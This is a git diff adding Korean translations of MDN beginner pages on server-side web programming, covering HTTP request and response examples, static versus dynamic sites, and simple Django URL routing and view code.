당신은 링크를 클릭하거나 사이트를 검색하는 간단한 GET request를 만들 수 있습니다.(검색엔진의 홈페이지 같은). 예를 들자면, 만약 당신이 MDN에서 "클라이언트 서버 개요"를 검색하면  전송되는 HTTP request는 아래의 텍스트와 매우 유사할 것 입니다(메시지의 일부가 브라우저/설정에 따라 다르므로 같지는 않습니다).

+ +
+

HTTP 메시지의 형식은 "웹 표준" (RFC7230)에 정의 되어 있습니다. 이 수준의 세부사항을 알 필요는 없지만 적어도 이제는 이 모든 것이 어디서 왔는지를 알 수 있습니다!

+
+ +

The request

+ +

각 라인의 요청들은 그것이 어떤 정보인지 포함 하고 있습니다. 이러한 첫 부분을 header라고 합니다, HTML head가 HTML 문서의 유용한 정보를 포함하는 것과 같은 방식으로 유용한 정보를 포함합니다. (실제로 본문에 있는 콘텐츠 자체는 아닙니다.):

+ +
GET https://developer.mozilla.org/en-US/search?q=client+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+ +

첫번째와 두번째라인은 위에서 우리가 말한 많은 종류의 정보를 포함 하고 있습니다:

+ + + +

마지막 줄은 서버측 쿠키의 대한 정보를 포함합니다. — 이번 케이스는 쿠키가 세션을 관리하는 id를 포함하는 것을 볼 수 있습니다.  (Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...).

+ +

나머지 줄은 사용하는 브라우저의 정보와 다룰수 있는 요청의 정렬한 정보들을 포함 하고 있습니다. 이것들을 예로 볼 수 있습니다:

+ + + +

HTTP requests는 본문을 가질수 있지만 이번 케이스에서는 비어 있습니다.

+ +

The response

+ +

이 요청의 대한 응답의 첫번째 부분은 밑에서 볼 수 있습니다. header에는 다음과 같이 정보들을 포함 하고 있습니다:

+ + + +

메시지의 마지막에는 요청에 의해 반환된 실제 HTML을 포함하는 본문 콘텐츠를 볼 수 있습니다.

+ +
HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+<!DOCTYPE html>
+<html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false >
+<head prefix="og: http://ogp.me/ns#">
+  <meta charset="utf-8">
+  <meta http-equiv="X-UA-Compatible" content="IE=Edge">
+  <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script>
+  ...
+
+ +

응답 header의 나머지 부분은 응답(예. 생성 되었을 때), 서버및 브라우저가 처리하는 방법의 대한 정보를 포함하고 있습니다(예.  X-Frame-Options: DENY행은 브라우저가 페이지를 다른 사이트의 {{htmlelement ( "iframe")}}에 삽입하는 것을 허용하지 않는 것을 지시합니다).

+ +

POST request/response example

+ +

HTTP POST는 당신이 정보를 포함한 폼을 작성하여 서버에 저장하기 위해 전송할때 만들어집니다.

+ +

The request

+ +

아래의 텍스트는 사용자가 새로운 프로필 정보를 사이트에 전송할때 만들어지는 HTTP request를 보여줍니다. 이 요청의 대한 포맷은 이전 GET request의 예시와 거의 비슷해 보입니다, 그렇지만 첫번째 줄은 이것이 POST 요청임을 보여주고 있습니다. 

+ +
POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=
+ +

가장 큰 차이점은 URL이 인자를 가지고 있지 않다는 겁니다. 보다시피, 폼에서 온 정보들은 요청 본문에 인코딩 되어있습니다(예를 들면, 새 사용자의 전체 이름은 다음을 사용하여 설정 합니다: &user-fullname=Hamish+Willee).

+ +

The response

+ +

요청에서 온 응답은 아래와 같이 보여집니다. "302 Found"의 상태 코드는 브라우저에게 post가 성공했고,  Location 필드가 지정된 페이지를 로드하기 위해 두번째 HTTP request를 실행해야 하는 것을 알려줍니다. 그렇지 않은 경우 정보는 GET request에 대한 응답정보와 유사합니다.

+ +
HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+
+ +
+

Note: HTTP responses 그리고 requests를 보여주는 예시들은 Fiddler 어플리케이션을 사용하여 캡처하였습니다,  그렇지만 당신은 스니퍼(e.g. http://web-sniffer.net/)나 브라우저 확장 기능인 HttpFox 같은 것을 사용하여 확인 할 수 있습니다. 이러한 것을 직접 시도해보세요. 링크된 도구들을 사용하여 여러 사이트들을 돌아다니고 프로필 정보를 수정 하여 다양한 requests 와 responses를 확인해보세요. 현대의 대부분 브라우저는 네트워크 요청을 모니터 할수 있는 도구 또한 가지고 있습니다 (예를들면, Firefox가 가진 도구인 Network Monitor ).

+
+ +

Static sites

+ +

정적 사이트는 특정 리소스가 요청될 때마다 서버에서 하드 코딩된 동일한 컨텐츠를 반환하는 사이트 입니다. 예를 들면 당신이  /static/myproduct1.html 에서 제품에 대한 정보페이지를 가지고 있다면 , 이 페이지는 어떤 유저에게나 동일하게 반환될 것입니다. 만약 당신이 비슷한 제품을 사이트에 추가 하고 싶다면 당신은 다른 페이지를 추가하여야 합니다(예. myproduct2.html) . 이것은 실제로 비효율적이 될것입니다 — 제품 페이지가 수천이 된다면? 각 페이지에 (기본 페이지 템플릿, 구조체 등)걸쳐 많은 코드를 반복하고 페이지에 대한 구조를 변경하려는 경우 — 예를 들어 새로운 관련제품에 대한 섹션을 추가하는 경우 — 모든 페이지를 개별적으로 변경해야 합니다.

+ +
+

Note: 정적사이트는 작은수의 페이지만 가지고 있거나 같은 콘텐츠를 모든 유저에게 보내고 싶을때는 좋을 수 있습니다. 그렇지만 페이지 수가 많아지기 시작하면 상당한 비용의 유지비가 필요합니다.

+
+ +

어떻게 작동하는지 다시 살펴보겠습니다, 마지막 기사에서 살펴본 정적 사이트의 아키텍쳐는다이어그램을 다시 살펴보면

+ +

A simplified diagram of a static web server.

+ +

유저가 페이지를 탐색하기를 원할 때, 브라우저는 지정된 HTML 페이지의 URL에 HTTP GET request를 보냅니다. 서버는 요청한 문서를 파일 시스템에서 탐색하고 문서와 HTTP Response status code "200 OK" (성공을 알려주는)를 포함하는 HTTP응답을 반환합니다. 만약 서버가 다른 상태 코드를 반환한다면, 예를들면 "404 Not Found"는 파일이 서버에 없는 경우이고 "301 Moved Permanently"는 파일은 존재하지만 다른 위치로 리다이렉트된 경우입니다 .

+ +

이 정적 사이트는 오직 GET requests만 필요합니다, 왜냐하면 이 서버는 변경 할 수 있는 데이터는 저장하지 않기 때문입니다. 또한  HTTP Request 데이터에 기반한 응답을 바꿀 필요가 없습니다(예. URL 인자들 또는 쿠키). 

+ +

서버측 프로그래밍을 할때는 정적사이트가 어떻게 동작하는지 이해하는 것이 여전히 유용합니다, 왜냐하면 동적사이트가 정적 파일(CSS, JavaScript, static images, etc.)에 대한 요청을 다루는 방법이 거의 동일하기 때문입니다.

+ +

Dynamic sites

+ +

동적 사이트는 특별한 URL과 데이터 요청에 의해 생성되거나 콘텐츠를 반환할 수 있습니다(특정 URL에 대해 항상 동일한 하드 코딩 된 파일을 반환하는 것이 아닙니다). 제품 사이트를 이용하는 예를 들면, 서버는 각 제품에 대한 HTML파일을 만들기보다 제품 "데이터"를 데이터베이스에 저장할 것입니다. 제품에 대한HTTP GET Request를 받으면, 서버는 제품ID를 결정하고, 데이터베이스에서 데이터를 가져오고, HTML 템플릿에 가져온 데이터를 집어넣은 HTML페이지를 생성할 것입니다. 이것은 정적 사이트보다 주요한 장점이 있습니다:

+ +

데이터베이스를 통해 제품 정보를 쉽게 확장하거나 수정하거나 검색가능한 방식으로 효율적으로 저장 할 수있습니다.

+ +

HTML 템플릿을 통해 HTML 구조를 매우 쉽게 바꿀 수 있도록 만들 수 있습니다, 왜냐하면 하나의 위치에 하나의 템플릿만 수행되어야하며 잠재적인 수천개의 정적 페이지에서 수행되지 않아야 하기 때문입니다.

+ +

Anatomy of a dynamic request

+ +

이 섹션은 "동적" HTTP request와 response 사이클에 대한 단계별 개요를 제공하고, 마지막 기사에서 살펴본 내용을 훨씬 더 자세하게 소개합니다. "실제 상황을 유지하기 위해"우리는 코치가 HTML 형식으로 팀 이름과 팀 크기를 선택하고 다음 게임을 위해 제안 된 "최고의 라인업"을 얻을 수있는 스포츠 팀 매니저 웹 사이트의 컨텍스트를 사용합니다.

+ +

아래 다이어그램은 "팀 코치"웹 사이트의 주요 요소와 코치가 "최고의 팀"목록에 액세스 할 때 일련의 작업 순서에 대한 번호가 매겨진 레이블을 보여줍니다. 사이트를 동적으로 만드는 부분들은 웹 애플리케이션(이것은 HTTP 요청을 처리하고 HTTP 응답을 반환하는 서버 측 코드를 참조하는 방법입니다), 선수의 정보나 팀 코치의 정보를 포함한 데이터베이스 그리고 HTML 템플릿입니다.

+ +

This is a diagram of a simple web server with step numbers for each of step of the client-server interaction.

+ +

코치가 팀 이름과 플레이어의 수를 포함한 폼을 전송하면 작업 시퀀스는 다음과 같습니다:

+ +
    +
  1. 웹 브라우저는 리소스에 대한 기본 URL을 사용하여 서버에 HTTP GET request을 생성합니다 (/best) , 그리고 팀 및 플레이어의 수를 URL인자로 인코딩하거나(예. /best?team=my_team_name&show=11)또는 URL패턴 (예. /best/my_team_name/11/) 으로 인코딩 합니다. 이 요청은 데이터를 꺼내오는데에만 사용 하므로(데이터가 수정 되지 않음) GET request를 사용합니다. 
  2. +
  3. 웹 서버는 이 요청이 "동적"임을 감지하고 처리를 위해 웹 어플리케이션에 전달합니다(웹서버는 정의된 설정에 의한 패턴 매칭 방법에 기반한 다양한 URL들을 처리하는 방법을  결정 합니다).
  4. +
  5. 웹 애플리케션은 이 요청의 대한 의도가 URL에 기반한 "최고의 팀 목록"을 얻는 것 인지 확인하고 (/best/) URL에서 필요한 팀 이름과 플레이어의 숫자를 찾아냅니다. 웹 어플리케이션은 데이터베이스를 통해 필요한 정보를 가져옵니다 (추가 "내부의" 인자들을 사용하여 어떤 플레이어가 "최고"인지 정의하고, 또한 클라이언트측 쿠키에서 로그인한 코치의 신분을 확인 할 수 있습니다).
  6. +
  7. 웹 어플리케이션은 HTML template의 자리 표시 자에 데이터(데이터베이스를 통해)를 넣은 HTML 페이지를 동적으로 생성 합니다.
  8. +
  9. 웹 어플리케이션은 생성된 HTML을 (웹 서버를 경유하여) 브라우저에 HTTP 상태코드 200 ("success")와 함께 반환합니다. 만약 어떤 것이 HTML을 반환 하는 것을 막았다면 웹 어플리케이션은 다른 코드를 반환할 것 입니다 —예를들자면 "404"는 팀이 존재 하지 않음을 지시합니다.
  10. +
  11. 웹 브라우저가 반환한 HTML을 처리하고 참조하는 다른 CSS파일이나 Javascript 파일을 얻기위해 별도의 요청을 보냅니다(7단계를 보십시오).
  12. +
  13. 웹 사이트는 파일 시스템에 있는 정적 파일을 로드하고 즉시 브라우저에 반환합니다(올바른 파일 처리는 설정 방법과 URL패턴 매칭을 기반으로 합니다).
  14. +
+ +

데이터베이스에 업데이트를 기록하는 조작도 이와 비슷하게 처리합니다, 단 데이터베이스 업데이트는 브라우저의 HTTP request가 POST request로 인코딩 되어야 합니다. 

+ +

Doing other work

+ +

웹 어플리케이션의 일은 HTTP requests를 전달 받고 HTTP responses를 반환 하는 것 입니다. 데이터베이스와 상호작용 하여 정보를 얻어오거나 업데이트를 하는것은 매우 평범한 작업이지만 코드는 같은 시간에 다른 것들을 하거나 데이터 베이스와 상호작용을 하지 않을 수 있습니다.

+ +

웹 어플리케이션의 수행할 수 있는 추가적인 작업에 대한 좋은 예는 사용자가 사이트에 등록 되어있는지 확인 하기위해 이메일을 보내는 것 입니다. 사이트는 로깅 또는 다른 작업을 수행 할 수 있습니다. 

+ +

Returning something other than HTML

+ +

서버측 웹사이트 코드는 HTML 스니펫/파일만을 반환하지는 않습니다. 그 대신 다양한 파일들(text, PDF, CSV, etc.) 과 데이터(JSON, XML, etc.)를 동적으로 생성하여 반환 할 수 있습니다.

+ +

({{glossary("AJAX")}})를 동적으로 업데이트 할 수 있도록 데이터를 웹 브라우저로 반환하는 아이디어는 꽤 오래있었습니다. 최근에는 "단일 페이지 앱" 인기가 있기 사작하였고, 전체의 웹 사이트는 필요한 경우 동적으로 업데이트되는 단일 HTML페이지로 작성 되었습니다. 이 스타일의 애플리케이션을 사용하여 만든 웹 사이트는 서버에서 해야 할 계산을 웹 브라우저로 이동시켜 웹 사이트가 기본 애플리케이션처럼 작동하는 것처럼 보일 수 있습니다 (반응이 빠른, 기타 등등.).

+ +

Web frameworks simplify server-side web programming

+ +

서버측 웹 프레임 워크는 위에서 설명한 작업을 훨씬 쉽게 처리할 수 있는 코드를 제공합니다.

+ +

그들이 수행하는 가장 중요한 작업 중 하나는 다양한 리소스 / 페이지에 대한 URL을 특정 처리기 기능에 매핑하는 간단한 메커니즘을 제공하는 것입니다. 이는 분리된 리소스의 각각 타입들이 관련된 코드를 보관하는 것을 쉽게 만들어 줍니다. 또한 유지 보수 측면에서도 이점이 있습니다, 핸들러 기능을 변경하지 않고도 한 곳에서 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.

+ +

예를 들어, 2개의 뷰 함수를 2개의 URL에 매핑하는 다음의 Django (Python)코드를 보면. 첫 번째 패턴은 리소스 URL이 / best 인 HTTP 요청이 views 모듈의 index () 함수에 전달되도록합니다. "/ best / junior"패턴을 가진 요청은 대신 junior ()보기 기능으로 전달됩니다.

+ +
# file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]
+ +
+

Note: url () 함수의 첫 번째 매개 변수는 "정규 표현식"(RegEx 또는 RE)이라는 패턴 일치 기술을 사용하기 때문에 조금 이상하게 보일 수 있습니다 (예 : r' ^ junior / $ '). 위의 하드 코딩 된 값 대신 URL에서 패턴을 일치시키고 뷰 기능에서 매개 변수로 사용할 수있는 것 외에는 정규 표현식이 어떻게 작동하는지 알 필요가 없습니다. 예를 들어, 정말 간단한 RegEx는 "하나의 대문자와 일치하고 4 ~ 7 자의 소문자가옵니다"라고 말할 수 있습니다

+
+ +

웹프레임 워크는 뷰 함수가 데이터베이스안의 정보를 가져오는 것 또한 쉽게 만들어 줍니다. 데이터 구조는 기본 데이터베이스에 저장할 필드를 정의하는 Python 클래스 인 모델에서 정의됩니다. "team_type"필드를 가진 Team이라는 모델이 있다면 간단한 쿼리 구문을 사용하여 특정 유형의 모든 팀을 되 찾을 수 있습니다.

+ +

아래 예제는 정확한 (대소 문자 구분) team_type이 "junior"인 모든 팀의 목록을 가져옵니다. - 필드 이름 (team_type)과 두 번째 밑줄, 그리고 사용할 일치 유형 (이 경우 정확한). 다른 많은 유형의 경기가 있으며 데이지 체인 방식으로 경기를 진행할 수 있습니다. 우리는 또한 반환 된 결과의 순서와 수를 제어 할 수 있습니다. 

+ +
#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+
+ +

junior() 함수가 주니어 팀 목록을 얻은 후에 원래 HttpRequest, HTML 템플리트 및 템플리트에 포함될 정보를 정의하는 "컨텍스트"객체를 전달하여render() 함수를 호출합니다. render()함수는 컨텍스트와 HTML 템플릿을 사용하여 HTML을 생성하고 HttpResponse객체에 반환하는 편리한 함수입니다.

+ +

분명히 웹 프레임 워크는 많은 다른 작업을 도와 줄 수 있습니다. 우리는 다음 기사에서 더 많은 이점과 일부 대중적인 웹 프레임 워크 선택에 대해 논의합니다.

+ +

Summary

+ +

이 시점에서 서버 측 코드가 수행해야하는 작업을 잘 살펴보고 서버 측 웹 프레임 워크가 이를 쉽게 수행 할 수있는 몇 가지 방법을 알고 있어야합니다.

+ +

다음 모듈에서는 당신이 첫 번째 사이트에 가장 적합한 웹 프레임 워크를 선택할 수 있도록 도와 드리겠습니다

+ +

{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

diff --git a/files/ko/learn/server-side/first_steps/index.html b/files/ko/learn/server-side/first_steps/index.html new file mode 100644 index 0000000000..a8faa4352b --- /dev/null +++ b/files/ko/learn/server-side/first_steps/index.html @@ -0,0 +1,39 @@ +--- +title: Server-side website programming first steps +slug: Learn/Server-side/First_steps +translation_of: Learn/Server-side/First_steps +--- +
{{LearnSidebar}}
+ +

서버사이드 프로그래밍 모듈에서 우리는 서버사이드 프로그래밍에 대해 몇 가지 근본적인 질문을 합니다.  — "그게 뭐야?", "클라이언트 사이드 프로그래밍과 뭐가 달라?",  "왜 쓸만해?". 여기서 우리는 여러분의 첫 웹사이트를 만드는 데에 필요한 가장 적합한 프레임워크를 어떻게 정하는 지에 대한 적절한 지도와 함께 가장 인기있는 서버 사이드 웹 프레임워크들의 개요를 제공합니다. 끝으로 높은 수준의 웹 서버 보안에 대한 소개를 제공합니다.

+ +

전제 조건

+ +

이 모듈을 시작하기 전에, 서버사이드 프로그래밍이나 혹은 사실상 다른 어떠한 프로그래밍 지식도 필요 하지 않습니다.

+ +

"웹이 어떻게 동작하는가" 를 이해해야 합니다.  다음의 토픽들을 우선 읽어보는 것을 추천합니다.

+ + + +

이러한 기본적인 이해가 있다면,  이 섹션의 모듈들을 공부할 준비가 되었습니다.

+ +

가이드

+ +
+
서버 사이드에 대한 소개 (Introduction to the server side)
+
MDN의 초급자 서버 사이드 프로그래밍 코스에 오신 것을 환영합니다! 첫 글에서는, '서버사이드란 무엇인가', '클라이언트 사이드 프로그래밍과 어떤 점이 다른가', 그리고 '왜 유용한가' 와 같은 질문들에 답하며 서버 사이드 프로그래밍을 상위 단계부터 살펴봅니다. 이 글을 읽고 난 후, 서버 사이드 코딩을 통해 웹사이트에 추가적인 작업들을 할 수 있다는 것을 이해하게 될 것입니다.
+
클라이언트 - 서버 개요 (Client-Server overview)
+
당신이 서버 사이드 프로그래밍의 목적과 잠재적인 이점에 대해 알고 있기 때문에,  이제 서버가 브라우저로 부터 "동적 요청"을 받으면 어떤 일이 일어나는 지를 자세히 알아보고자 합니다.  대부분의 웹사이트 서버 사이드 코드는 요청 및 응답을 비슷한 방식으로 다루기 때문에, 이것은 당신이 코드를 짤 때 무엇을 해야 하는지 이해하도록 도울 것입니다.
+
서버 사이드 웹 프레임워크 (Server-side web frameworks)
+
마지막 글은 서버 사이드 웹 어플리케이션이 웹 브라우저의 요청에 응답하기 위해 무엇을 해야하는 지를 보여줍니다. 이제 웹 프레임워크가 어떻게 이러한 일들을 간소화 하는지 보여주고, 당신이 첫 서버 사이드 웹 어플리케이션에 맞는 프레임워크를 선택하도록 도울 것입니다. 
+
웹사이트 보안 (Website security)
+
웹사이트 보안은 웹사이트 설계 및 이용의 모든 측면에서 주의를 필요로 합니다. 이 입문 글이 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 가장 일반적인 위협들로 부터 웹 어플리케이션을 튼튼하게 만드는 첫 중요한 단계들을 이해하게끔 도울 것입니다. 
+
+ +

평가

+ +

이 "개요" 모듈은 아직 어떠한 코드도 보여주지 않았기 때문에 어떠한 평가도 없습니다. 우리는 현 시점에서, 당신이 서버 사이드 프로그래밍을 통해 어떤 기능들을 보여줄 수 있는지 제대로 이해하고, 당신의 첫 웹사이트를 만드는데에 어떤 서버 사이드 웹 프레임 워크를 사용할 지 결정했기를 바랍니다.

diff --git a/files/ko/learn/server-side/first_steps/introduction/index.html b/files/ko/learn/server-side/first_steps/introduction/index.html new file mode 100644 index 0000000000..aa635c6d37 --- /dev/null +++ b/files/ko/learn/server-side/first_steps/introduction/index.html @@ -0,0 +1,184 @@ +--- +title: Introduction to the server side +slug: Learn/Server-side/First_steps/Introduction +tags: + - 서버 + - 서버측 프로그래밍 + - 초보자 +translation_of: Learn/Server-side/First_steps/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}
+ +

MDN의 초심자용 서버측 프로그래밍 코스에 오신 것을 환영합니다! 첫번째 기사는 높은 수준의 서버측 프로그래밍을 살펴보고, "이게 뭐야?" , "클라이언트 측 프로그래밍과 어떻게 다르지?", 그리고 "이게 왜 유용한데?"같은 질문에 답할 것입니다. 이 기사를 읽은 뒤 당신은 웹 사이트가 서버측 코딩을 통해 이용 할 수 있는 추가적인 효과를 이해 할 수 있을것 입니다.

+ + + + + + + + + + + + +
선수 과목:기본적인 컴퓨터 활용법. 웹 서버가 무엇인지에 대한 기본적인 이해.
목적:서버 측 프래그래밍 무엇이고 어떤 일을 할 수 있는지 그리고 클라이언트 프로그래밍과 어떤점이 다른지에 대해 익숙해 지기.
+ +

대부분의 큰 사이트들은 동적으로 보여주기 위한 다양한 데이터가 필요 할 때 서버측 코드를 사용합니다, 일반적으로 서버에있는 데이터베이스에 저장된 데이터를 빼내어 일부 코드를 통해 보일 수 있도록 클라이언트에게 송신합니다(예: HTML 그리고 JavaScript). 아마도 서버측 코드의 큰 장점은 개별 사용자를 위한 맞춤 웹사이트 컨텐츠를 제공 한다는 것 입니다. 동적 사이트는 사용자의 선호도 및 습관에 따라 더 관련성이 높은 콘텐츠를 강조 표시 할 수 있습니다. 또한 이것은 사이트를 저장된 개인 선호와 정보를 사용하기 쉽게 만들어 줍니다 — 예를 들면 후속 지급을 간소화 하기 위한 저장된 신용카드 정보의 재사용. 심지어 사이트 외부 사용자와의 상호 작용을 허용하고 전자 메일 또는 다른 채널을 통해 알림 및 업데이트를 보냅니다. 이러한 모든 기능을 통해 사용자와의 관계를 더욱 깊게 할 수 있습니다.

+ +

현대의 전 세계 웹 개발자들은 서버측 개발을 공부하는 것을 권고 하고 있습니다.

+ +

서버측 웹 사이트 프로그래밍이 무엇인가요?

+ +

web servers와 통신하는 웹 브라우저는 HyperText Transport Protocol ({{glossary("HTTP")}})을사용하고 있습니다. 당신이 웹 페이지의 링크를 클릭하거나 폼을 전송하거나 검색을 시작할 때 당신의 웹 브라우저는 HTTP request를 목적 서버에 전달합니다. 요청에는 영향을받는 리소스를 식별하는 URL, 필요한 작업을 정의하는 메서드가 포함됩니다 (예를 들면 리소스를 가져 오거나, 삭제하거나 게시하는 방법), 그리고 URL매개변수(query 문자열을 통해 전송된 필드 값-쌍), POST 데이터 (HTTP POST method에 의해 전송된 데이터), 또는{{glossary("Cookie", "associated cookies")}}를 이용하여 인코딩된 추가 정보를 포함 할 수 있습니다.

+ +

웹 서버는 클라이언트의 요청이 오길 기다리고, 요청이 도착하면 작업을 진행하여, 웹 브라우저에 HTTP 응답 메시지를 보냅니다. 그 응답은 요청이 성공 또는 실패를 지시하는 상태 라인을 포함하고 있습니다 (예: "HTTP/1.1 200 OK" for success). 요청에 대한 응답이 성공적이라면 본문은 요청 리소스(예. 새로운 HTML 페이지, 또는 이미지, 기타 등등...)를 포함 할 것이며 이는 웹 브라우저에 보여질 수 있습니다.

+ +

정적 웹 사이트(Static sites)

+ +

아래의 다이어그램은 정적사이트의 기본적인 웹 구조를 보여주고 있습니다(정적 사이트는 특별한 리소스 요청이 들어올 때 서버에서 하드 코딩된 동일한 콘텐츠를 반환합니다). 사용자가 페이지를 탐색하거나, 브라우저가 지정된 URL에  HTTP "GET"요청을 보낼 때 서버는 파일 시스템에서 요청한 문서를 검색하고 문서와 success status (보통 200 OK)를 포함한 HTTP응답을 반환 합니다. 만약 어떠한 이유 때문에 파일을 검색하면 error status(client error responses 그리고 server error responses를 참고 하십시오)가 반환됩니다.

+ +

A simplified diagram of a static web server.

+ +

동적 웹 사이트(Dynamic sites)

+ +

동적 웹 사이트는 필요할 때에 동적으로 응답 콘텐츠가 생성 됩니다. 동적 웹사이트의 웹 페이지는 보통 HTML 템플릿에 있는 자리 표시자에 데이터베이스에서 가져온 데이터를 넣어 생성 됩니다 (이 방법은 많은 양의 콘텐츠를 저장하기에 정적 웹 사이트를 이용 하는 것 보다  효과적 입니다). 동적 웹사이트는 사용자또는 저장된 환경을 기반으로 URL에 대해 다른 데이터를 반환 할 수 있으며, 응답을 반환하는 과정에서 다른 작업을 수행 할 수 있습니다(예: 알림 보내기).

+ +

동적 웹사이트를 지원하는 코드는 서버에서 실행 되어야 합니다. 이러한 코드를 만드는 것은 "server-side programming"이라고 알려져 있습니다 (또는 "back-end scripting"이라고 불리기도 합니다).

+ +

아래의 다이어그램은 동적 웹 사이트의 간단한 구조를 보여주고 있습니다. 이전 다이어 그램과 같이, 브라우저는 HTTP 요청을 서버에 보내고, 서버는 요청을 처리하고 적절한 HTTP응답을 반환합니다. 정적 리소스의 요청은 정적 사이트와 같은 방법으로 처리 합니다(정적 파일은 변하지 않는 파일입니다 — 전형적으로: CSS, JavaScript, Images, pre-created PDF files 등등). 

+ +

A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview.

+ +

동적 리소스를 위한 요청은 (2) 서버측 코드에 대신 전달 됩니다(다이어그램에서 Web Application으로 보이는 부분). "동적 응답"을 위해 서버는 응답을 해석하여 필요한 정보를 데이터 베이스에서 읽고(3), 탐색한 데이터와 HTML템플릿을 결합하고(4), 생성된 HTML을 포함한 응답을 다시 보내줍니다(5,6). 

+ +
+

서버측과 클라이언트측의 프로그래밍은 같은가요?

+
+ +

다시 돌아와서 서버측에 관여하는 코드와 클라이언트 측에 관여하는 코드를 살펴 봅시다. 각각의 케이스마다 코드는 명확히 다릅니다:

+ + + +

브라우저에서 실행되는 코드는 client-side code라고 알려져 있습니다. client-side code의 주 관심사는 렌더링된 웹페이지의 모양과 행동을 개선시키는 것 입니다. 이것은 UI 구성 요소 선택 및 스타일 지정, 레이아웃 만들기, 탐색, 양식 유효성 검사 등을 포함 하고 있습니다. 대조적으로, server-side 웹 사이트 프로그래밍은 대부분 브라우저의 요청에 대한 응답으로 어떤 컨텐츠를 반환하는지 선택하는것을 포함 합니다. Server-side code는 제출 된 데이터 및 요청의 유효성 검사, 데이터 저장 및 검색을위한 데이터베이스 사용, 필요에 따라 올바른 데이터 전송과 같은 작업을 처리합니다.

+ +

클라이언트 측 코드는 HTMLCSS, 그리고 JavaScript로 작성됩니다— 이것들은 웹 브라우저 안에서 실행되고 기본운영체제와 연결되지 않거나 아주 약간 연결 됩니다(파일 시스템의 연결의 제한이 포함 되어 있습니다). 웹 개발자는 모든 사용자가 웹 사이트를 보는 데 사용할 수있는 브라우저를 조작 할 수 없습니다 —브라우저는 클라이언트 측 코드 기능과 일관성없는 수준의 호환성을 제공하며, 클라이언트 측 프로그래밍의 어려움은 브라우저 지원의 차이를 정상적으로 처리 하는 것 입니다.

+ +

서버측 코드는 다양한 프로그래밍 언어로 작성 될 수 있습니다 — 대중적인 서버측 웹 언어를 포한 한 예로 PHP, Python, Ruby 그리고 C#. 서버측 코드는 서버의 운영체제와 모든 접속권한을 가지며, 개발자는 그들이 원하는 프로그래밍 언어(그리고 특정 버전)를 사용할 수 있습니다.

+ +

